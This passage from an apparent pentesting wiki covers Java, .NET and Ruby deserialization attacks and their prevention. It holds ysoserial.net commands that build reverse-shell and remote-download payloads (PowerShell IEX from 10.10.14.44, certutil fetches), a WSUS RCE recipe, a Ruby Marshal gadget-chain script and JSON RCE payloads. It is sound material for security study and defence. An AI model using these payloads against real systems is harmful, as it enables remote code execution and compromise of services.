 You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **along with ysoserial to create more exploits**. More information about this tool in the **slides of the talk** where the tool was presented: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)<sup>[[51]](#references)</sup>
 
 #### marshalsec
 
 [**marshalsec** ](https://github.com/mbechler/marshalsec)can be used to generate payloads to exploit different **Json** and **Yml** serialization libraries in Java.<sup>[[18]](#references)</sup>\
 In order to compile the project I needed to **add** this **dependencies** to `pom.xml`:
 
 ```html
 <dependency>
 		<groupId>javax.activation</groupId>
 		<artifactId>activation</artifactId>
 		<version>1.1.1</version>
 </dependency>
 
 <dependency>
 		<groupId>com.sun.jndi</groupId>
 		<artifactId>rmiregistry</artifactId>
 		<version>1.2.1</version>
 		<type>pom</type>
 </dependency>
 ```
 
 **Install maven**, and **compile** the project:
 
 ```bash
 sudo apt-get install maven
 mvn clean package -DskipTests
 ```
 
 #### FastJSON
 
 Read more about this Java JSON library: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)<sup>[[52]](#references)</sup>
 
 ### Labs
 
 - If you want to test some ysoserial payloads you can **run this webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
 - [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)<sup>[[19]](#references)</sup><sup>[[20]](#references)</sup><sup>[[21]](#references)</sup><sup>[[22]](#references)</sup>
 
 ### Why
 
 Java uses a lot serialization for various purposes like:
 
 - **HTTP requests**: Serialization is widely employed in the management of parameters, ViewState, cookies, etc.
 - **RMI (Remote Method Invocation)**: The Java RMI protocol, which relies entirely on serialization, is a cornerstone for remote communication in Java applications.
 - **RMI over HTTP**: This method is commonly used by Java-based thick client web applications, utilizing serialization for all object communications.
 - **JMX (Java Management Extensions)**: JMX utilizes serialization for transmitting objects over the network.
 - **Custom Protocols**: In Java, the standard practice involves the transmission of raw Java objects, which will be demonstrated in upcoming exploit examples.
 
 ### Java Deserialization Prevention
 
 #### Transient objects
 
 A class that implements `Serializable` can implement as `transient` any object inside the class that shouldn't be serializable. For example:
 
 ```java
 public class myAccount implements Serializable
 {
     private transient double profit; // declared transient
     private transient double margin; // declared transient
 ```
 
 #### Avoid Serialization of a class that need to implements Serializable
 
 In scenarios where certain **objects must implement the `Serializable`** interface due to class hierarchy, there's a risk of unintentional deserialization. To prevent this, ensure these objects are non-deserializable by defining a `final` `readObject()` method that consistently throws an exception, as shown below:
 
 ```java
 private final void readObject(ObjectInputStream in) throws java.io.IOException {
     throw new java.io.IOException("Cannot be deserialized");
 }
 ```
 
 #### **Enhancing Deserialization Security in Java**
 
 **Customizing `java.io.ObjectInputStream`** is a practical approach for securing deserialization processes. This method is suitable when:
 
 - The deserialization code is under your control.
 - The classes expected for deserialization are known.
 
 Override the **`resolveClass()`** method to limit deserialization to allowed classes only. This prevents deserialization of any class except those explicitly permitted, such as in the following example that restricts deserialization to the `Bicycle` class only:
 
 ```java
 // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
 public class LookAheadObjectInputStream extends ObjectInputStream {
 
     public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
         super(inputStream);
     }
 
     /**
     * Only deserialize instances of our expected Bicycle class
     */
     @Override
     protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
         if (!desc.getName().equals(Bicycle.class.getName())) {
             throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
         }
         return super.resolveClass(desc);
     }
 }
 ```
 
 **Using a Java Agent for Security Enhancement** offers a fallback solution when code modification isn't possible. This method applies mainly for **blacklisting harmful classes**, using a JVM parameter:
 
 ```text
 -javaagent:name-of-agent.jar
 ```
 
 It provides a way to secure deserialization dynamically, ideal for environments where immediate code changes are impractical.
 
 Check and example in [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
 
 **Implementing Serialization Filters**: Java 9 introduced serialization filters via the **`ObjectInputFilter`** interface, providing a powerful mechanism for specifying criteria that serialized objects must meet before being deserialized. These filters can be applied globally or per stream, offering a granular control over the deserialization process.
 
 To utilize serialization filters, you can set a global filter that applies to all deserialization operations or configure it dynamically for specific streams. For example:
 
 ```java
 ObjectInputFilter filter = info -> {
     if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
     if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
     if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
         return Status.REJECTED; // Restrict to allowed classes
     }
     return Status.ALLOWED;
 };
 ObjectInputFilter.Config.setSerialFilter(filter);
 ```
 
 **Leveraging External Libraries for Enhanced Security**: Libraries such as **NotSoSerial**, **jdeserialize**, and **Kryo** offer advanced features for controlling and monitoring Java deserialization. These libraries can provide additional layers of security, such as whitelisting or blacklisting classes, analyzing serialized objects before deserialization, and implementing custom serialization strategies.
 
 - **NotSoSerial** intercepts deserialization processes to prevent execution of untrusted code.
 - **jdeserialize** allows for the analysis of serialized Java objects without deserializing them, helping identify potentially malicious content.
 - **Kryo** is an alternative serialization framework that emphasizes speed and efficiency, offering configurable serialization strategies that can enhance security.<sup>[[24]](#references)</sup>
 
 ## JNDI Injection & log4Shell
 
 Find whats is **JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell** (and example of this vuln) in the following page:
 
 
 [Jndi Java Naming And Directory Interface And Log4Shell](/hacktricks/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell)
 
 ## JMS - Java Message Service
 
 > The **Java Message Service** (**JMS**) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
 
 ### Products
 
 There are several products using this middleware to send messages:<sup>[[25]](#references)</sup>
 
 ![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28314%29.png)<sup>[[25]](#references)</sup>
 
 ![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281056%29.png)<sup>[[25]](#references)</sup>
 
 ### Exploitation
 
 So, basically there are a **bunch of services using JMS on a dangerous way**. Therefore, if you have **enough privileges** to send messages to this services (usually you will need valid credentials) you could be able to send **malicious objects serialized that will be deserialized by the consumer/subscriber**.\
 This means that in this exploitation all the **clients that are going to use that message will get infected**.
 
 You should remember that even if a service is vulnerable (because it's insecurely deserializing user input) you still need to find valid gadgets to exploit the vulnerability.
 
 The tool [JMET](https://github.com/matthiaskaiser/jmet) was created to **connect and attack this services sending several malicious objects serialized using known gadgets**. These exploits will work if the service is still vulnerable and if any of the used gadgets is inside the vulnerable application.<sup>[[26]](#references)</sup>
 
 ## .Net
 
 In the context of .Net, deserialization exploits operate in a manner akin to those found in Java, where gadgets are exploited to run specific code during the deserialization of an object.<sup>[[27]](#references)</sup><sup>[[28]](#references)</sup>
 
 ### Fingerprint
 
 #### WhiteBox
 
 The source code should be inspected for occurrences of:
 
 1. `TypeNameHandling`
 2. `JavaScriptTypeResolver`
 
 The focus should be on serializers that permit the type to be determined by a variable under user control.
 
 #### BlackBox
 
 The search should target the Base64 encoded string **AAEAAAD/////** or any similar pattern that might undergo deserialization on the server-side, granting control over the type to be deserialized. This could include, but is not limited to, **JSON** or **XML** structures featuring `TypeObject` or `$type`.
 
 ### ysoserial.net
 
 In this case you can use the tool [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) in order to **create the deserialization exploits**. Once downloaded the git repository you should **compile the tool** using Visual Studio for example.
 
 If you want to learn about **how does ysoserial.net creates it's exploit** you can [**check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](/hacktricks/pentesting-web/deserialization/basic-net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json-net).
 
 The main options of **ysoserial.net** are: **`--gadget`**, **`--formatter`**, **`--output`** and **`--plugin`.**
 
 - **`--gadget`** used to indicate the gadget to abuse (indicate the class/function that will be abused during deserialization to execute commands).
 - **`--formatter`**, used to indicated the method to serialized the exploit (you need to know which library is using the back-end to deserialize the payload and use the same to serialize it)
 - **`--output`** used to indicate if you want the exploit in **raw** or **base64** encoded. _Note that **ysoserial.net** will **encode** the payload using **UTF-16LE** (encoding used by default on Windows) so if you get the raw and just encode it from a linux console you might have some **encoding compatibility problems** that will prevent the exploit from working properly (in HTB JSON box the payload worked in both UTF-16LE and ASCII but this doesn't mean it will always work)._
 - **`--plugin`** ysoserial.net supports plugins to craft **exploits for specific frameworks** like ViewState
 
 #### More ysoserial.net parameters
 
 - `--minify` will provide a **smaller payload** (if possible)
 - `--raf -f Json.Net -c "anything"` This will indicate all the gadgets that can be used with a provided formatter (`Json.Net` in this case)
 - `--sf xml` you can **indicate a gadget** (`-g`)and ysoserial.net will search for formatters containing "xml" (case insensitive)
 
 **ysoserial examples** to create exploits:
 
 ```bash
 #Send ping
 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
 
 #Timing
 #I tried using ping and timeout but there wasn't any difference in the response timing from the web server
 
 #DNS/HTTP request
 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
 
 #Reverse shell
 #Create shell command in linux
 echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
 #Create exploit using the created B64 shellcode
 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
 ```
 
 **ysoserial.net** has also a **very interesting parameter** that helps to understand better how every exploit works: `--test`\
 If you indicates this parameter **ysoserial.net** will **try** the **exploit locally,** so you can test if your payload will work correctly.\
 This parameter is helpful because if you review the code you will find chucks of code like the following one (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
 
 ```java
             if (inputArgs.Test)
                 {
                     try
                     {
                         SerializersHelper.JsonNet_deserialize(payload);
                     }
                     catch (Exception err)
                     {
                         Debugging.ShowErrors(inputArgs, err);
                     }
                 }
 ```
 
 This means that in order to test the exploit the code will call [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
 
 ```java
 public static object JsonNet_deserialize(string str)
     {
         Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
         {
             TypeNameHandling = TypeNameHandling.Auto
         });
         return obj;
     }
 ```
 
 In the **previous code is vulnerable to the exploit created**. So if you find something similar in a .Net application it means that probably that application is vulnerable too.\
 Therefore the **`--test`** parameter allows us to understand **which chunks of code are vulnerable** to the desrialization exploit that **ysoserial.net** can create.
 
 ### ViewState
 
 Take a look to [this POST about **how to try to exploit the \_\_ViewState parameter of .Net** ](/hacktricks/pentesting-web/deserialization/exploiting-viewstate-parameter)to **execute arbitrary code.** If you **already know the secrets** used by the victim machine, [**read this post to know to execute code**](/hacktricks/pentesting-web/deserialization/exploiting-viewstate-knowing-the-secret)**.**
 
 ### Real‑world sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE
 
 - Affected endpoints:
   - `/SimpleAuthWebService/SimpleAuth.asmx` → GetCookie() AuthorizationCookie decrypted then deserialized with BinaryFormatter.
   - `/ReportingWebService.asmx` → ReportEventBatch and related SOAP ops that reach SoapFormatter sinks; base64 gadget is processed when the WSUS console ingests the event.
 - Root cause: attacker‑controlled bytes reach legacy .NET formatters (BinaryFormatter/SoapFormatter) without strict allow‑lists/binders, so gadget chains execute as the WSUS service account (often SYSTEM).<sup>[[29]](#references)</sup>
 
 Minimal exploitation (Reporting path):
 1) Generate a .NET gadget with ysoserial.net (BinaryFormatter or SoapFormatter) and output base64, for example:
 
 ```powershell
 # Reverse shell (EncodedCommand) via BinaryFormatter
 ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"
 
 # Simple calc via SoapFormatter (test)
 ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
 ```
 
 2) Craft SOAP for `ReportEventBatch` embedding the base64 gadget and POST it to `/ReportingWebService.asmx`.
 3) When an admin opens the WSUS console, the event is deserialized and the gadget fires (RCE as SYSTEM).
 
 AuthorizationCookie / GetCookie()
 - A forged AuthorizationCookie can be accepted, decrypted, and passed to a BinaryFormatter sink, enabling pre‑auth RCE if reachable.
 
 Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:<sup>[[30]](#references)</sup>
 
 ```powershell
 $lhost = "192.168.49.51"
 $lport = 53
 $targetURL = "http://192.168.51.89:8530"
 ```
 
 See [Windows Local Privilege Escalation – WSUS](/hacktricks/windows-hardening/windows-local-privilege-escalation/overview)
 
 ### .NET Deserialization Prevention
 
 To mitigate the risks associated with deserialization in .Net:<sup>[[23]](#references)</sup>
 
 - **Avoid allowing data streams to define their object types.** Utilize `DataContractSerializer` or `XmlSerializer` when possible.<sup>[[41]](#references)</sup>
 - **For `JSON.Net`, set `TypeNameHandling` to `None`:** `TypeNameHandling = TypeNameHandling.None`
 - **Avoid using `JavaScriptSerializer` with a `JavaScriptTypeResolver`.**
 - **Limit the types that can be deserialized**, understanding the inherent risks with .Net types, such as `System.IO.FileInfo`, which can modify server files' properties, potentially leading to denial of service attacks.
 - **Be cautious with types having risky properties**, like `System.ComponentModel.DataAnnotations.ValidationException` with its `Value` property, which can be exploited.
 - **Securely control type instantiation** to prevent attackers from influencing the deserialization process, rendering even `DataContractSerializer` or `XmlSerializer` vulnerable.
 - **Implement white list controls** using a custom `SerializationBinder` for `BinaryFormatter` and `JSON.Net`.
 - **Stay informed about known insecure deserialization gadgets** within .Net and ensure deserializers do not instantiate such types.
 - **Isolate potentially risky code** from code with internet access to avoid exposing known gadgets, such as `System.Windows.Data.ObjectDataProvider` in WPF applications, to untrusted data sources.
 
 ## **Ruby**
 
 In Ruby, serialization is facilitated by two methods within the **marshal** library. The first method, known as **dump**, is used to transform an object into a byte stream. This process is referred to as serialization. Conversely, the second method, **load**, is employed to revert a byte stream back into an object, a process known as deserialization.
 
 For securing serialized objects, **Ruby employs HMAC (Hash-Based Message Authentication Code)**, ensuring the integrity and authenticity of the data. The key utilized for this purpose is stored in one of several possible locations:<sup>[[43]](#references)</sup>
 
 - `config/environment.rb`
 - `config/initializers/secret_token.rb`
 - `config/secrets.yml`
 - `/proc/self/environ`
 
 **Ruby 2.X generic deserialization to RCE gadget chain (more info in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:<sup>[[36]](#references)</sup>
 
 ```ruby
 #!/usr/bin/env ruby
 
 # Code from https://www.elttam.com/blog/ruby-deserialization/
 
 class Gem::StubSpecification
   def initialize; end
 end
 
 
 stub_specification = Gem::StubSpecification.new
 stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
 
 puts "STEP n"
 stub_specification.name rescue nil
 puts
 
 
 class Gem::Source::SpecificFile
   def initialize; end
 end
 
 specific_file = Gem::Source::SpecificFile.new
 specific_file.instance_variable_set(:@spec, stub_specification)
 
 other_specific_file = Gem::Source::SpecificFile.new
 
 puts "STEP n-1"
 specific_file <=> other_specific_file rescue nil
 puts
 
 
 $dependency_list= Gem::DependencyList.new
 $dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
 
 puts "STEP n-2"
 $dependency_list.each{} rescue nil
 puts
 
 
 class Gem::Requirement
   def marshal_dump
     [$dependency_list]
   end
 end
 
 payload = Marshal.dump(Gem::Requirement.new)
 
 puts "STEP n-3"
 Marshal.load(payload) rescue nil
 puts
 
 
 puts "VALIDATION (in fresh ruby process):"
 IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
   pipe.print payload
   pipe.close_write
   puts pipe.gets
   puts
 end
 
 puts "Payload (hex):"
 puts payload.unpack('H*')[0]
 puts
 
 
 require "base64"
 puts "Payload (Base64 encoded):"
 puts Base64.encode64(payload)
 ```
 
 Other RCE chain to exploit Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)<sup>[[31]](#references)</sup>
 
 ### Ruby .send() method
 
 As explained in [**this archived vulnerability report**](https://web.archive.org/web/20260000000000id_/https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), if unsanitized user input reaches the `.send()` method of a Ruby object, the method can **invoke another method** of that object with attacker-controlled arguments.<sup>[[32]](#references)</sup>
 
 For example, calling eval and then ruby code as second parameter will allow to execute arbitrary code:
 
 ```ruby
 <Object>.send('eval', '<user input with Ruby code>') == RCE
 ```
 
 Moreover, if only one parameter of **`.send()`** is controlled by an attacker, as mentioned in the previous writeup, it's possible to call any method of the object that **doesn't need arguments** or whose arguments have **default values**.\
 For this, it's possible to enumerate all the methods of the object to **find some interesting methods that fulfil those requirements**.
 
 ```ruby
 <Object>.send('<user_input>')
 
 # This code is taken from the original blog post
 # <Object> in this case is Repository
 ## Find methods with those requirements
 repo = Repository.find(1)  # get first repo
 repo_methods = [           # get names of all methods accessible by Repository object
   repo.public_methods(),
   repo.private_methods(),
   repo.protected_methods(),
 ].flatten()
 
 repo_methods.length()      # Initial number of methods => 5542
 
 ## Filter by the arguments requirements
 candidate_methods = repo_methods.select() do |method_name|
   [0, -1].include?(repo.method(method_name).arity())
 end
 candidate_methods.length() # Final number of methods=> 3595
 ```
 
 ### Ruby class pollution
 
 Check how it could be possible to [pollute a Ruby class and abuse it in here](/hacktricks/pentesting-web/deserialization/ruby-class-pollution).
 
 ### Ruby _json pollution
 
 When sending in a body some values not hashabled like an array they will be added into a new key called `_json`. However, It’s possible for an attacker to also set in the body a value called `_json` with the arbitrary values he wishes. Then, If the backend for example checks the veracity of a parameter but then also uses the `_json` parameter to perform some action, an authorisation bypass could be performed.
 
 Check more information in the [Ruby _json pollution page](/hacktricks/pentesting-web/deserialization/ruby-json-pollution).
 
 ### Other libraries
 
 This technique was taken[ **from this blog post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).<sup>[[33]](#references)</sup>
 
 There are other Ruby libraries that can be used to serialize objects and therefore that could be abused to gain RCE during an insecure deserialization. The following table shows some of these libraries and the method they called of the loaded library whenever it's unserialized (function to abuse to get RCE basically):
 
 <table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (class needs to be put into hash(map) as key)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
 
 Basic example:
 
 ```ruby
 # Existing Ruby class inside the code of the app
 class SimpleClass
   def initialize(cmd)
     @cmd = cmd
   end
 
   def hash
     system(@cmd)
   end
 end
 
 # Exploit
 require 'oj'
 simple = SimpleClass.new("open -a calculator") # command for macOS
 json_payload = Oj.dump(simple)
 puts json_payload
 
 # Sink vulnerable inside the code accepting user input as json_payload
 Oj.load(json_payload)
 ```
 
 In the case of trying to abuse Oj, it was possible to find a gadget class that inside its `hash` function will call `to_s`, which will call spec, which will call fetch_path which was possible to make it fetch a random URL, giving a great detector of these kind of unsanitized deserialization vulnerabilities.
 
 ```json
 {
   "^o": "URI::HTTP",
   "scheme": "s3",
   "host": "example.org/anyurl?",
   "port": "anyport",
   "path": "/",
   "user": "anyuser",
   "password": "anypw"
 }
 ```
 
 Moreover, it was found that with the previous technique a folder is also created in the system, which is a requirement to abuse another gadget in order to transform this into a complete RCE with something like:
 
 ```json
 {
   "^o": "Gem::Resolver::SpecSpecification",
   "spec": {
     "^o": "Gem::Resolver::GitSpecification",
     "source": {
       "^o": "Gem::Source::Git",
       "git": "zip",
       "reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
       "root_dir": "/tmp",
       "repository": "anyrepo",
       "name": "anyname"
     },
     "spec": {
       "^o": "Gem::Resolver::Specification",
       "name": "name",
       "dependencies": []
     }
   }
 }
 ```
 
 Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).<sup>[[33]](#references)</sup>
 
 ### Bootstrap Caching
 
 This is not strictly a deserialization vulnerability, but it is a useful technique for abusing Bootsnap caching to turn an arbitrary file write in a Rails application into RCE. See the [original post](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/) for the complete research.<sup>[[34]](#references)</sup>
 
 Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:
 
 - Identify the Vulnerability and Environment
 
 The Rails app’s file upload functionality lets an attacker write files arbitrarily. Although the app runs with restrictions (only certain directories like tmp are writable due to Docker’s non-root user), this still allows writing to the Bootsnap cache directory (typically under tmp/cache/bootsnap).
 
 - Understand Bootsnap’s Cache Mechanism
 
 Bootsnap speeds up Rails boot times by caching compiled Ruby code, YAML, and JSON files. It stores cache files that include a cache key header (with fields like Ruby version, file size, mtime, compile options, etc.) followed by the compiled code. This header is used to validate the cache during app startup.
 
 - Gather File Metadata
 
 The attacker first selects a target file that is likely loaded during Rails startup (for example, set.rb from Ruby’s standard library). By executing Ruby code inside the container, they extract critical metadata (such as RUBY_VERSION, RUBY_REVISION, size, mtime, and compile_option). This data is essential for crafting a valid cache key.
 
 - Compute the Cache File Path
 
 By replicating Bootsnap’s FNV-1a 64-bit hash mechanism, the correct cache file path is determined. This step ensures that the malicious cache file is placed exactly where Bootsnap expects it (e.g., under tmp/cache/bootsnap/compile-cache-iseq/).
 
 - Craft the Malicious Cache File
 
 The attacker prepares a payload that:
 
   - Executes arbitrary commands (for example, running id to show process info).
   - Removes the malicious cache after execution to prevent recursive exploitation.
   - Loads the original file (e.g., set.rb) to avoid crashing the application.
 
 This payload is compiled into binary Ruby code and concatenated with a carefully constructed cache key header (using the previously gathered metadata and the correct version number for Bootsnap).
 
 - Overwrite and Trigger Execution
 Using the arbitrary file write vulnerability, the attacker writes the crafted cache file to the computed location. Next, they trigger a server restart (by writing to tmp/restart.txt, which is monitored by Puma). During restart, when Rails requires the targeted file, the malicious cache file is loaded, resulting in remote code execution (RCE).
 
 
 ### Ruby Marshal exploitation in practice (updated)
 
 Treat any path where untrusted bytes reach `Marshal.load`/`marshal_load` as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.<sup>[[35]](#references)</sup>
 
 
 #### Ruby 3.3–4.0 universal RubyGems chain
 
 A dependency-free chain demonstrated on Ruby `4.0.6` (and reported to work unchanged on `3.3` through `4.0.6`) uses RubyGems code shipped with Ruby. The exact chain needs outbound HTTPS access and a writable destination such as `/tmp`; command execution has the Ruby process privileges and is **not** a local privilege escalation.<sup>[[53]](#references)</sup>
 
 The serialized graph is ordered so that the download/write side effect completes before a later `Hash`-key callback evaluates the downloaded Ruby source:<sup>[[53]](#references)</sup>
 
 1. Resolving `Gem::SpecFetcher` near the start of `Marshal.load` activates RubyGems autoloading and makes later gadget classes available even in a bare process.
 2. A forged `Time` stores a `Gem::URI::Generic` object as its zone. During `Time._load`, `StringValueCStr` calls `to_str`; `Gem::URI::Generic#to_str` aliases `to_s`, which calls `@port.to_s` on an embedded `Gem::RequestSet::Lockfile` downloader.
 3. The downloader uses an `s3` URI to reach signing code that emits an HTTPS URL. Traversal components placed in the URI's attacker-controlled port-derived path escape the RubyGems cache, while `Gem::Util.inflate` converts the remote `.rz` response into `/tmp/quick/Marshal.4.8/name-.gemspec`.
 4. RubyGems then tries to parse that source file as serialized specification data and raises. This is useful because the file write already happened, and `time_mload` validates the zone inside `rb_rescue`, suppressing the post-write exception so graph reconstruction continues.
 5. A `Gem::StubSpecification` with `@loaded_from` set to the written path is restored as a `Hash` key. Hash reconstruction invokes its `hash` method, which reaches `Gem::Specification.load(@loaded_from)`; that method reads the file and evaluates it as Ruby.
 
 The hosted response must be a deflated Ruby program. Make its last expression a valid `Gem::Specification` so the subsequent `name`, `version`, and `platform` accesses succeed and `Marshal.load` can return without the otherwise expected warning/exception:<sup>[[53]](#references)</sup>
 
 ```bash
 cat > payload.rb <<'RUBY'
 puts `id`
 Gem::Specification.new do |s|
   s.name = "poc"
   s.version = "1.0.0"
 end
 RUBY
 ruby -rrubygems -e 'File.binwrite("poc-id.rz", Gem.deflate(File.binread("payload.rb")))'
 ```
 
 `Marshal.dump` cannot normally produce a `Time` with an arbitrary object as its zone because `Time#_dump` serializes native state. The generator therefore dumps a placeholder object and replaces its bytes with a `TYPE_USERDEF` (`u`) `Time` entry wrapped by `TYPE_IVAR` (`I`), leaving the already serialized zone gadget after it. Keep the same number and order of symbol definitions on both sides of the replacement because later `TYPE_SYMLINK` entries are positional. Also stub `Gem::StubSpecification#hash` while building the generator-side `Hash`; otherwise the key gadget fires before serialization.<sup>[[53]](#references)</sup>
 
 This chain also shows why partially broken gadgets should be retested rather than discarded: RubyGems type checking removed the older `Gem::Version` `to_s` wrapper, and moving Git executable names out of attacker-restorable instance variables removed the older execution sink, but the surviving fetch/write primitive was reusable behind new trigger and evaluation gadgets.<sup>[[53]](#references)</sup>
 
 Specific hunting indicators include Marshal blobs naming `Gem::SpecFetcher`, `Time`, `Gem::URI::Generic`, `Gem::RequestSet::Lockfile`, and `Gem::StubSpecification`; HTTPS egress during deserialization; unexpected files below `/tmp/quick/Marshal.4.8/`; or stack traces containing `Time._load`, `Gem::StubSpecification#hash`, and `Gem::Specification.load`.<sup>[[53]](#references)</sup>
 
 `Gem::SafeMarshal` was introduced to deserialize a restricted set of RubyGems objects, but the exact version still matters. Research against the Ruby 3.4 prerelease implementation showed that allowlisted `Date` and `Time` object paths could escape the restrictions and re-enter unrestricted `Marshal.load`; consequently, `SafeMarshal` is defense in depth, not a substitute for preventing attacker-controlled bytes from reaching a deserializer.<sup>[[47]](#references)</sup><sup>[[48]](#references)</sup> The RubyGems 3.6.2 integration was merged into Ruby immediately before the Ruby 3.4 final release.<sup>[[49]](#references)</sup>
 
 
 - Minimal vulnerable Rails code path:<sup>[[44]](#references)</sup>
 
 
 ```ruby
 class UserRestoreController < ApplicationController
   def show
     user_data = params[:data]
     if user_data.present?
       deserialized_user = Marshal.load(Base64.decode64(user_data))
       render plain: "OK: #{deserialized_user.inspect}"
     else
       render plain: "No data", status: :bad_request
     end
   end
 end
 ```
 
 - Common gadget classes seen in real chains: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.<sup>[[37]](#references)</sup><sup>[[46]](#references)</sup>
 - Typical side-effect marker embedded in payloads (executed during unmarshal):
 
 ```text
 *-TmTT="$(id>/tmp/marshal-poc)"any.zip
 ```
 
 Where it surfaces in real apps:
 - Rails cache stores and session stores historically using Marshal<sup>[[42]](#references)</sup>
 - Background job backends and file-backed object stores
 - Any custom persistence or transport of binary object blobs
 
 Industrialized gadget discovery:
 - Grep for constructors, `hash`, `_load`, `init_with`, or side-effectful methods invoked during unmarshal<sup>[[38]](#references)</sup>
 - Use CodeQL’s Ruby unsafe deserialization queries to trace sources → sinks and surface gadgets<sup>[[39]](#references)</sup>
 - Validate with public multi-format PoCs (JSON/XML/YAML/Marshal)<sup>[[40]](#references)</sup><sup>[[45]](#references)</sup>
